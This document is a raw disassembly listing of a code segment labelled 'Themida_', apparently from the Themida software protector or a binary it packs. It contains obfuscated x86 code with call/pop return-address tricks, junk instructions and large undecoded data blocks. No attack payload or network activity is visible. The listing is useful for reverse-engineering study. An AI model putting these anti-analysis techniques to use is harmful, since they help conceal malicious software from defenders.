Themida_:00580FBAj movzx ebx, di mov eax, [ebp+61218A9h] push 0 push ecx call sub_580FDA and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_580FDA proc near ; CODE XREF: Themida_:00580FD2p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 15h inc ecx push ecx retn sub_580FDA endp ; --------------------------------------------------------------------------- dw 97DBh ; --------------------------------------------------------------------------- pusha jl loc_580FF5 pusha popa loc_580FF5: ; CODE XREF: Themida_:00580FEDj popa sub [ebp+6123461h], edx jmp loc_581007 ; --------------------------------------------------------------------------- push edi dec edx retn ; --------------------------------------------------------------------------- add edi, [esp+eax*4] loc_581007: ; CODE XREF: Themida_:00580FFCj jmp loc_58108E ; --------------------------------------------------------------------------- ja loc_581015 mov dx, si loc_581015: ; CODE XREF: Themida_:0058100Cj ; Themida_:00581091j nop push edx mov bl, 79h pop edx push eax push eax push edi js $+6 pop edx pop edx nop push 0 push eax call sub_581031 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_581031 proc near ; CODE XREF: Themida_:00581029p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Dh inc eax push eax retn sub_581031 endp ; --------------------------------------------------------------------------- dd offset loc_58DC76+3 db 6Ah, 89h, 0A9h ; --------------------------------------------------------------------------- xor bh, [esi] lodsb mov [ebp+61229A9h], eax push 14h push 0 push ebp call sub_58105E and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58105E proc near ; CODE XREF: Themida_:00581056p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Ah inc ebp push ebp retn sub_58105E endp ; --------------------------------------------------------------------------- dec esi movsb stc xchg dh, ch xchg eax, esi xchg eax, ebx mov ebx, [ebp+6122169h] call dword ptr [ebp+61229D1h] mov ebx, 3BC1C25Ah pop eax push ecx sub dx, 6B8h pop edx loc_58108E: ; CODE XREF: Themida_:loc_581007j cmp byte ptr [eax], 0 jnz loc_581015 sub edx, 3A6D0341h mov byte ptr [eax], 1 or dl, 0DEh loc_5810A3: ; CODE XREF: Themida_:00580FB4j popa mov [ebp+61212C9h], ebx cmp dword ptr [ebp+6120881h], 0 jz loc_581109 sub [ebp+6123025h], edx or bx, 0F17Ah push 0FFFFFFFFh add bl, 0F5h call dword ptr [ebp+61229D1h] push 0 push ebx call sub_5810D8 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5810D8 proc near ; CODE XREF: Themida_:005810D0p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 14h inc ebx push ebx retn sub_5810D8 endp ; --------------------------------------------------------------------------- dd 1D51BA70h, 9D33159Eh, 6121E51h, 3325B501h db 12h, 6, 0E9h ; --------------------------------------------------------------------------- locret_5810FB: ; CODE XREF: Themida_:00581133j retn ; --------------------------------------------------------------------------- dd 0BAFFFFFFh, 6D578C98h, 363977BBh db 65h ; --------------------------------------------------------------------------- loc_581109: ; CODE XREF: Themida_:005810B1j mov dword ptr [ebp+6120881h], 1 mov edx, ebx mov [ebp+6124DEAh], eax movzx ebx, dx push eax call sub_581138 lodsd push 74h mov esp, [ebx] adc ds:36E31460h, ah into inc ecx loope near ptr loc_581141+2 jnb short locret_5810FB xor [di], dl ; =============== S U B R O U T I N E ======================================= sub_581138 proc near ; CODE XREF: Themida_:0058111Fp arg_0 = dword ptr 4 push ecx pop edx pop edx mov [esp-4+arg_0], eax push 0 push esi loc_581141: ; CODE XREF: Themida_:00581131j call sub_581149 and [esi-3Dh], bl sub_581138 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_581149 proc near ; CODE XREF: sub_581138:loc_581141p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 17h inc esi push esi retn sub_581149 endp ; --------------------------------------------------------------------------- db 85h, 30h, 63h dd 666060BCh, 0D8C9C181h, 2021BD8Bh, 6A610612h, 0A1BD0905h dd 8D061211h, 124E0285h, 21850106h, 90061204h, 6650ABB6h dd 90B81CBBh, 68C0F60h, 0F000000h, 8Ah, 459D2900h, 61061226h dd 1CB1B589h, 858D0612h, 6124DF2h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Dh, 16C35040h, 891E8A63h, 0C46ADDC5h dd 6650FC28h, 899CB2BBh, 6A2404h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1A0424h, 51410000h, 245990C3h, 4C4B8793h dd 0FFD38B66h, 12144D95h, 0DFB70F06h, 6860Fh, 952B0000h dd 6121CC5h, 7BCE8D8Dh, 0BB660612h, 0C00BE919h, 858D1174h dd 6124E02h, 89D1FF50h, 124E2085h, 0C70AEB06h, 124E2085h dd 0FFFFFF06h, 56006AFFh, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1904h, 0C3564600h, 5FBA6FDBh, 5E92D58h, 0B3000000h dd 498E568Fh, 0B6C2BB66h, 8BD8BF0Fh, 1230C59Dh, 820F6106h dd 6, 1FC5BD01h, 85C60612h, 61215C1h, 52006A4Dh, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1404h, 0C3524200h dd 0F5D78BB5h, 51B531h, 4E80612h, 0A8000000h, 60A43576h dd 9831BE66h, 1CD9B866h, 448B5061h, 86BB0424h, 8B3BB998h dd 24448900h, 58A8B204h, 5E8h, 0D2E35000h, 0BD89DA82h dd 612130Dh, 81B5FF5Ah, 0F061203h, 858DD0B7h, 615827Ah dd 1F8D8531h, 0B5890612h, 6120885h, 6AD0FFh, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 190424h, 57470000h, 0DBD695C3h dd 8B7ADA74h, 1215259Dh, 9858906h, 6A06122Dh, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h dd 0D172C356h, 0BD316345h, 6122D41h, 0C6D3B70Fh, 1215C185h dd 6A4506h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h dd 51410000h, 0DB5EC7C3h, 9D8960FCh, 612184Dh, 7F6861F5h dd 0B631C5FFh, 24048165h, 5CAC69EAh, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 18h, 28C35040h, 9EA5C46Dh, 0FFDE8B66h dd 123101B5h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1C04h, 0C3504000h, 2840CE07h, 5E7E2CF3h, 0EE94Ch, 1C090000h dd 11E6A0B6h, 8575461Eh, 0A8383968h, 827A858Dh, 2DBA0615h dd 0FF75B50Bh, 6D8D01D0h, 8906122Ch, 122E3D85h, 57006A06h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h, 0C3574700h dd 7DC65942h, 4BACD548h, 0C2816673h, 0B70F0D28h, 0FD28BD2h dd 689h, 51E28100h, 66161590h, 0BF0FD98Ch, 4C1F6D8h, 201840Fh dd 81660000h, 0E9FBDED3h, 107h, 1EED8D89h, 0B58B0612h dd 61212C1h, 0C68121B2h, 1180h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 15h, 0EDC35141h, 2FBB66BEh, 119D0B89h dd 8306122Eh, 122855BDh, 850F0006h, 2Bh, 0E855006Ah, 3 dd 5DC35D20h, 4246C89h, 4244481h, 16h, 2DC35545h, 0A0B725DBh dd 7AE9h, 0D99D8900h, 83061221h, 840F003Eh, 6Bh, 816660F9h dd 6AC3ADEAh, 0D8B70F14h, 29D195FFh, 0BD890612h, 612130Dh dd 57006A61h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1404h dd 0C3574700h, 98F381ADh, 8B20E362h, 0FFB5E9D1h, 6AFFFFh dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h dd 0A66ECEC3h, 6039E678h, 8FE8C081h, 0C7615A7Ch, 106h dd 0FE900h, 8F3B0000h, 381C0BEEh, 0CB8FDE35h, 9721BBA5h dd 25BD8953h, 83061213h, 124DEABDh, 850F0506h, 0E3h, 7E8h dd 49311C00h, 18FD0CEDh, 0B58B5BF9h, 6122E3Dh, 7928CA81h dd 64B967CEh, 0BA000000h, 1692A078h, 0FE83E80h, 1A84h dd 2DB58900h, 0E9061216h, 1Dh, 3810Fh, 0C2800000h, 198D293Eh dd 80061232h, 0FC2057Eh, 6F84h, 90BB6600h, 6A463Eh, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h dd 0A3A83EC3h, 958BC2CDh, 6121B51h, 0A1850F49h, 6AFFFFFFh dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1B042444h dd 43000000h, 0D36EC353h, 1A1DB29h, 0DA819D49h, 47B9FFF8h dd 32E9h, 8B60F900h, 1233F1B5h, 0C9958906h, 6106121Bh dd 28E9B589h, 6A0612h, 3E850h, 58200000h, 448958C3h, 44810424h dd 150424h, 50400000h, 58E316C3h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Ah, 8C35242h, 0E3BE3229h, 11E8CDA0h dd 0C6000000h, 9EDBF0BAh, 0A5F7603Eh, 69ABCF2Fh, 0D06AE1DBh dd 2AFD958Bh, 835A0612h, 121A89BDh, 840F0006h, 0EFh, 5E83E381h dd 6A603C69h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 14042444h, 45000000h, 89B1C355h, 12249D85h, 0C185C606h dd 54061215h, 9244DA81h, 62683C59h, 0BBA834F2h, 288B511Dh dd 92240481h, 6A5719CCh, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 15042444h, 45000000h, 0B29EC355h, 9E9h, 0ACEE1600h dd 4952D6FAh, 0B5FFB0C8h, 6123101h, 1DCB8166h, 8DFBB364h dd 15827A85h, 4D958906h, 0FF06122Dh, 6A87B6D0h, 48C0F00h dd 66000000h, 0FFBC96BAh, 121A89B5h, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1A04h, 0C3574700h, 5A7117E6h dd 89907E26h, 123495B5h, 8AD0FF06h, 6A61F8h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 140424h, 57470000h, 0BF0FA2C3h dd 0C7F48ADFh, 12141985h, 106h, 69952900h, 2906121Ah, 121E3D9Dh dd 0B70F6006h, 4E8D2h, 800000h, 0DE90000h, 4C000000h, 527D00C1h dd 5F4903BEh, 36F67511h, 0E9525050h, 0Bh, 8B6D40Ah, 18324B2Dh dd 0F65116Fh, 2830F31h, 60000000h, 8B585A61h, 66042444h dd 8B9DC9BAh, 11E900h, 0E150000h, 4E315B18h, 0ACF4A49Bh dd 0A29F058h, 896CC3CDh, 0E9042444h, 7, 64D3630h, 588B01D3h dd 3F58589h, 8D310612h, 6122BF5h, 0CE9FF6Ah, 0AE000000h dd 0BCB2D9A4h, 639D6F14h, 0FF2D43DBh, 1227F595h, 919D8B06h dd 6106121Ch, 11E9h, 10C7D300h, 0D2A96979h, 3034CAE0h dd 5B3A6938h, 8B5012EBh, 240489DAh, 1F51858Bh, 6A0612h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h dd 8D89E5C3h, 6122FA5h, 840FC00Bh, 46h, 0E852006Ah, 3 dd 5AC35A20h, 4245489h, 4244481h, 16h, 45C35242h, 95FFC08Ah dd 6121E5Dh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 15h, 2FC35343h, 0CA816683h, 85C79CE7h, 6120815h, 1 dd 0CE9h, 75FF9B00h, 867D4C74h, 5EE4FCB1h, 75BD835Ah, 61207h dd 0B840Fh, 0EBB20000h, 185595FFh, 0BF0F0612h, 0C1BD83D0h dd 61227h, 8840Fh, 55B70000h, 1C9595FFh, 0BD830612h, 6122C71h dd 47840F00h, 0B6000000h, 0B9BD83DDh, 61225h, 38850Fh dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h dd 53430000h, 19B1EDC3h, 0F385CE32h, 80608CFBh dd 0B58B13C2h, 61216C9h, 6595FF61h, 66061215h, 0BD83D08Bh dd 6122421h, 5F840F00h, 0E8000000h, 0Ch, 0E4FEB4h, 1E73E806h dd 134C6230h, 15199D29h, 575B0612h, 160D958Bh, 815B0612h dd 120B3585h, 400306h, 2D9D0B00h, 81061213h, 1202B985h dd 400306h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1704h, 0C3564600h, 0B8BF506Ch, 19AD9D2Bh, 310F0612h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 36C35545h dd 5F57FC4Ah, 0D1525DFh, 5840F4Ah, 0BB000000h, 52310A7Ah dd 7459D09h, 8D8D0612h, 6125EC1h, 89D68B66h, 0E2816601h dd 0C233F1F1h, 24959D8Bh, 41890612h, 50006A04h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1704h, 0C3504000h, 25A7499Bh dd 7A99589h, 85890612h, 6122E11h, 0FDE8B66h, 57006A31h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1B04h, 0C3574700h dd 0B4F653ACh, 0E89E3D6Fh, 6830Fh, 95890000h, 61224E1h dd 5ED18D8Dh, 8D890612h, 6121231h, 0FF90189h, 38Eh, 0DF8B6600h dd 9D03C233h, 6121925h, 6A044189h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 767DC352h dd 0B32AA598h, 0DBB70F99h, 1B09BD83h, 0F000612h, 1684h dd 89535700h, 1228C5B5h, 0FF5B5B06h, 1228DD95h, 0C99D8B06h dd 83061212h, 122D71BDh, 850F0106h, 74h, 0E855006Ah, 3 dd 5DC35D20h, 4246C89h, 4244481h, 15h, 6BC35545h, 95958B36h dd 0E9061228h, 4Ch, 833C8ABBh, 4DB58B78h, 0C7061260h, 6 dd 13B58B00h, 0C706125Eh, 6, 0C281CF00h, 376C7C50h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 17h, 24C35040h, 803B6877h dd 0B501ABF6h, 61220ADh, 815BD83h, 0F000612h, 0E784h, 5E900h dd 2D990000h, 83E59592h, 12295DBDh, 850F0106h, 0A5h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 0FDC35242h, 6640C783h dd 8B4F3DBAh, 124DDE8Dh, 70BA6606h, 0F1B52906h, 0C6061233h dd 0CA810001h, 79423DBh, 75CD6860h, 8B66DA99h, 240481DAh dd 25668AB3h, 80DBBF0Fh, 0FF6AB4D6h, 27F595FFh, 0EB800612h dd 6A6146h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h dd 53430000h, 32B29FC3h, 0F8B9EF99h, 294595FFh, 85890612h dd 6122491h, 4DDE8D8Bh, 81660612h, 0FE28F7F2h, 0DDBD8901h dd 8106121Ch, 376EB3F3h, 0C9BD8319h, 1061223h, 1E850Fh dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h dd 52420000h, 0A106BBC3h, 9D8BC08Bh, 6121829h, 2F01BD83h dd 75000612h, 49BD8309h, 61221h, 53501A74h, 858BC08Bh dd 6120B35h, 0B358589h, 9D8D0612h, 614AD09h, 585BD3FFh dd 2149BD83h, 74000612h, 8B535018h, 120B3585h, 35858906h dd 8D06120Bh, 14A9F89Dh, 5BD3FF06h, 50006A58h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1C04h, 0C3504000h, 0A5C996BBh dd 0AD206501h, 13E965h, 90BC0000h, 0BFCC8477h, 0CFD53D44h dd 7D52E271h, 5987417Ch, 0F1958911h, 8B06121Dh, 8B6057C0h dd 0F3BE66DAh, 835A61B4h, 120815BDh, 850F0006h, 14h, 8393D380h dd 1208F5BDh, 840F0006h, 4, 2236BB66h, 815BD83h, 0F000612h dd 1284h, 60BB6600h, 91BD8372h, 6120Bh, 1840Fh, 83F50000h dd 120815BDh, 840F0006h, 2Ch, 32C99D8Bh, 0BD830612h, 6120B91h dd 19840F00h, 0E9000000h, 14h, 6D21718Ch, 1FE24CC3h, 0F4F9D218h dd 0D422B9A3h, 7EDE82EEh, 815BD83h, 0F000612h, 1484h, 0D0BF0F00h dd 2AB5BD83h, 0F000612h, 484h, 0F3BA6600h, 15BD838Dh, 61208h dd 97840Fh, 0BE80000h, 0B2000000h, 0BD5DC1B3h, 0DBE919C6h dd 0DE81861h, 93000000h, 5AADBF2Bh, 2736CAEAh, 3203F91Bh dd 0C1E9BB66h, 0BD835A5Ah, 6122549h, 62840F00h, 6A000000h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 19042444h dd 42000000h, 10FCC352h, 6273EC44h, 0BE9h, 95675100h, 9E64818h dd 0F717BCA3h, 3195FFh, 6A0612h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1D0424h, 55450000h, 76FDCAC3h, 0E54E7318h dd 8B4268E8h, 122B1D9Dh, 80C08B06h, 0BD830CE7h, 6122F01h dd 83097500h, 122149BDh, 1A740006h, 0C08B5350h, 2B9858Bh dd 85890612h, 61202B9h, 0AD709D8Dh, 0D3FF0614h, 0BD83585Bh dd 6122149h, 50187400h, 0B9858B53h, 89061202h, 1202B985h dd 119D8D06h, 0FF0614AAh, 0F585BD3h, 78Dh, 0BF0F6000h dd 6102B0FFh, 9D8BD78Bh, 61225ADh, 83FCC08Bh, 120815BDh dd 840F0006h, 456h, 12E9h, 1E3DEF00h, 7FA9ECDAh, 62A4F9A2h dd 0AA478B38h, 835AD43Eh, 122561BDh, 840F0206h, 19h, 14DD9D8Bh dd 0BD830612h, 6122D71h, 6850F01h, 81000000h, 1F8EFFCBh dd 0BB66607Eh, 8D8BA2C8h, 6124DDEh, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 18h, 23C35747h, 0B8C2131Fh, 0EE8h dd 74E76300h, 0B9F94176h, 554254A8h, 0BA4A08ADh, 33ED5775h dd 0EE9505Bh, 53000000h, 0FCA02CBDh, 0C007E045h, 568A8BBDh dd 1FE5B53h, 1661958Bh, 59680612h, 0FAFBF1Fh, 48Bh, 0E58A6000h dd 24048161h, 5040E127h, 0CDD28166h, 6AFF6AB6h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h dd 154C350h, 83D64D86h, 0B70F5A56h, 0F595FFD8h, 0F061227h dd 68Dh, 58D0900h, 61061219h, 8DD2BF0Fh, 1224E5BDh, 56006A06h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h dd 4F8B6B0Fh, 19BD891Ch, 6A061227h, 51006A01h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1C04h, 0C3514100h, 162C4B27h dd 57A75B36h, 0CE89120h, 1C000000h, 86627234h, 0B8D62068h dd 532B7811h, 60505A5Bh, 14E911B3h, 0B1000000h, 0C55D590Bh dd 91CFF529h, 0E4979CF7h, 0DE31CB4Bh, 61C7D9D3h, 8DDE8B91h dd 1538FF85h, 5858906h, 0FF061215h, 53006AD0h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1704h, 0C3534300h, 0DBBD9022h dd 7E39C381h, 4F8B525Eh, 51006A20h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1504h, 0C3514100h, 34BA3857h, 2B44667Eh dd 1200C595h, 0A3C1BA06h, 36A0184h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Bh, 55C35545h, 0D4BA621Eh, 60E2C026h dd 12E9h, 8A347400h, 0C0B0AA39h, 0AA67908Ch, 0C96AC05Eh dd 0F6FA101h, 9161CBB7h, 50D88B66h, 0E810Fh, 52500000h dd 310F45B2h, 310F5250h, 585A585Ah, 52006A91h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1B04h, 0C3524200h, 0CFD25E2Ch dd 5C1E6734h, 0DD5B57BBh, 8985310Fh, 8D061221h, 1538FF85h dd 0DE806h, 76200000h, 59ABDF65h, 69AAD83Dh, 8B5712A4h dd 0D0FF5BD0h, 2C9D9589h, 0D9BA0612h, 8D697C91h, 1224E5BDh dd 0DA816606h, 4F8B9A9Bh, 8E91Ch, 1EED0000h, 0E176D44Ah dd 16A43BFh, 7E8h, 0E5B6F00h, 9B1E8C86h, 0E99D8B56h, 5A061217h dd 0DE8B505Bh, 23240C89h, 12245D95h, 0FF858D06h, 8B061538h dd 8BD0FFD7h, 121A719Dh, 204F8B06h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Bh, 0A6C35343h, 1CCB48E3h, 0F840FEF8h dd 8531036Ah, 6123099h, 53525050h, 0F5B6160h, 0CE831h dd 90D30000h, 0C1385824h, 540FB874h, 93B7AE2Bh, 89585A5Ah dd 6A240Ch, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h dd 52420000h, 858D1DC3h, 61538FFh, 31B99D89h, 0D0FF0612h dd 4DDE8D8Bh, 8B660612h, 8B01FED6h, 12269595h, 0DE858B06h dd 6A06124Dh, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 17042444h, 47000000h, 25BCC357h, 85894954h, 6121805h dd 6A00FEh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h dd 52420000h, 0D50D2EC3h, 478A229Fh, 6A3CB6F3h, 57006A01h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h, 0C3574700h dd 2A5613F3h, 67B69D28h, 8B605F20h, 122B2D85h, 9E806h dd 3DE60000h, 688D308Fh, 89B72571h, 12076D8Dh, 0F615906h dd 6368D6BFh, 66D208E5h, 81FB29BAh, 0BA9C2404h, 0BA662DF6h dd 858D544Eh, 6153909h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 18h, 41C35141h, 27DB03Dh, 8E8h, 191B8700h dd 6E2C83F4h, 0D0FF5B34h, 31FD958Bh, 0BD830612h, 61208F5h dd 3840F00h, 0BA000001h, 47B9F0C2h, 0EE9BD83h, 0F010612h dd 0F185h, 8DD78B00h, 1539138Dh, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1604h, 0C3564600h, 0FA77263h dd 36ADEBFh, 0CBF38166h, 5E8FEh, 0C9470000h, 664A9B64h dd 5A66AEBBh, 6A016Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 180424h, 51410000h, 55A4DAC3h, 0AE9551Fh, 2A000000h dd 0CC5382F5h, 4B967DDCh, 6AD1FF4Dh, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 0BBEC351h dd 1217599Dh, 6A016A06h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 17042444h, 47000000h, 6EB9C357h, 90BA6C5Fh dd 6A63CC5Ch, 5E901h, 0B5AD0000h, 0FFCC8E03h, 0B59589D1h dd 0E8061220h, 0FA496D54h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 16h, 0EEC35242h, 206A9230h, 0E853006Ah, 3 dd 5BC35B20h, 4245C89h, 4244481h, 15h, 23C35343h, 60FF6A4Ah dd 3698D8Bh, 0E9600612h, 6, 5776C219h, 61605729h, 95FF6161h dd 61227F5h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 14h, 41C35343h, 1CD1B501h, 0B80612h, 0E9000000h, 6 dd 93A978AFh, 0C00B93FAh, 2C840Fh, 8E90000h, 0F7000000h dd 0ABE3F77Eh, 839D34BDh, 120B55BDh, 840F0006h, 12h, 2F35B589h dd 95FF0612h, 6121D65h, 18C59D8Bh, 858B0612h, 61218A9h dd 0C6DD8Ah, 0D68B6600h, 94F28166h, 958B5849h, 6120B95h dd 8BD98C66h, 4C1F6D6h, 77840Fh, 6A0000h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 190424h, 51410000h, 0A8FE90C3h dd 0B6FAB463h, 4FE90Ah, 66600000h, 60722CBAh, 14519501h dd 890F0612h, 0 ; --------------------------------------------------------------------------- popa popa mov esi, [ebp+61212C1h] add esi, 1180h push 0 push ebx call sub_582549 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_582549 proc near ; CODE XREF: Themida_:00582541p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 15h inc ebx push ebx retn sub_582549 endp ; --------------------------------------------------------------------------- xor bl, bl mov edx, [ebp+6121D45h] mov dword ptr [esi], 0 mov [ebp+61208ADh], eax pop esi cmp eax, 0 jz loc_583154 mov edx, [ebp+612174Dh] or edx, [ebp+61226A5h] cmp eax, 1 jnz loc_58278B mov edx, edi mov eax, 0 push 0 push edi call sub_58259E and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58259E proc near ; CODE XREF: Themida_:00582596p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 18h inc edi push edi retn sub_58259E endp ; --------------------------------------------------------------------------- dw 0B1ADh dd 60EDC5D9h, 108D8D8Bh, 9D290612h, 61224A1h, 0FC00B61h dd 13C84h, 12E800h, 0BAD80000h, 51A34C92h, 0F7CAB5DAh dd 0FD7E3D0Fh, 64333D02h, 0BE9h, 34F5EC00h, 81BF2F55h dd 6B32A409h, 1F8835Ah, 12B840Fh, 6A0000h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 140424h, 55450000h, 0F8839EC3h dd 9D840F03h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 17042444h, 42000000h, 0BDEC352h, 8BF521ACh dd 6AC02BDEh, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1D042444h, 42000000h, 9C3DC352h, 4878E8D5h, 40120F46h dd 754A22BBh, 0DE954h, 6F460000h, 0D43CB33Fh, 0C110FF90h dd 8004399Ch, 0BD8DA7D6h, 5B89E0h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 14h, 0ECC35646h, 0AE8E7FFh, 0DA000000h dd 5E616961h, 0C959CFCDh, 99B50116h, 5B061228h, 1B8h, 59B58900h dd 8D061217h, 5B89E0BDh, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1C04h, 0C3574700h, 2AAB7A68h, 0AA73342Bh dd 0C59D3172h, 0FF061232h, 68A0FE7h, 8B000000h, 120C8595h dd 6ABD8D06h, 0F9061244h, 21FDBD89h, 99E90612h, 89000002h dd 1215F595h, 2840F06h, 0B6000000h, 3985C705h, 506124Eh dd 6A000000h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 17042444h, 47000000h, 0FA84C357h, 8E91C7Eh, 76000000h dd 1AFD46D6h, 89ED6243h, 122011BDh, 5B806h, 0BA660000h dd 1BE93252h, 56000009h, 0EAABA66h, 0DE85Bh, 0AE0C0000h dd 4D388473h, 0FA5C0548h, 0F802BE6h ; --------------------------------------------------------------------------- mov bh, 0D3h pop ebx loc_58278B: ; CODE XREF: Themida_:00582586j cmp eax, 2 jnz loc_582877 add dh, 0FCh mov eax, 0 push 0 push ecx call sub_5827A7 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5827A7 proc near ; CODE XREF: Themida_:0058279Fp arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 16h inc ecx push ecx retn sub_5827A7 endp ; --------------------------------------------------------------------------- db 0EDh dd 85895827h, 6121251h, 0C00BF38Ah, 7C840Fh, 0DA800000h dd 1F88394h, 0FF4F840Fh, 0F883FFFFh, 0DD840F03h, 6AFFFFFEh dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 15042444h dd 42000000h, 0D915C352h, 11E9h, 0D83B0D00h, 93FC2648h dd 0BB9D773Fh, 0EC5763F9h, 0C02BDDB4h, 0BD8D65B6h, 5B89E0h dd 13E8h, 9FCDAE00h, 0D8158E6Ah, 3C666312h, 27110199h dd 0FBEA64Ch, 0FF5AE9B6h, 7870FE7h, 0F000000h, 18Fh, 0BD8DF800h dd 6124662h, 5DE9AFB3h, 6A000001h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 97E7C356h dd 559D2989h ; --------------------------------------------------------------------------- sub dl, [edx] push es loc_582877: ; CODE XREF: Themida_:0058278Ej cmp eax, 3 jnz loc_58289B add [ebp+6120B5Dh], edi lea edi, [ebp+61247F6h] or bx, 0AFA3h jmp loc_5829B0 ; --------------------------------------------------------------------------- sbb dx, 66B3h loc_58289B: ; CODE XREF: Themida_:0058287Aj cmp eax, 5 jnz loc_582900 push 0 push ebx call sub_5828AF and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5828AF proc near ; CODE XREF: Themida_:005828A7p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 15h inc ebx push ebx retn sub_5828AF endp ; --------------------------------------------------------------------------- db 0FEh dd 8ABA666Dh, 499D8B90h, 81061214h, 0F2EE50DBh, 7B4E970h dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h dd 51410000h, 2C4C95C3h, 6662E221h, 0B509D88Bh, 6121451h ; --------------------------------------------------------------------------- loc_582900: ; CODE XREF: Themida_:0058289Ej cmp eax, 6 jnz loc_582922 sbb dx, 98DAh lea edi, [ebp+61249EEh] mov [ebp+6122949h], edx jmp loc_5829B0 ; --------------------------------------------------------------------------- movzx ebx, si loc_582922: ; CODE XREF: Themida_:00582903j cmp eax, 7 jnz loc_58296E movsx ebx, ax lea edi, [ebp+612091Dh] push 0 push edi call sub_58293F and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58293F proc near ; CODE XREF: Themida_:00582937p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 16h inc edi push edi retn sub_58293F endp ; --------------------------------------------------------------------------- add ebx, [edi+2Bh] mov ebx, edi jmp loc_582A95 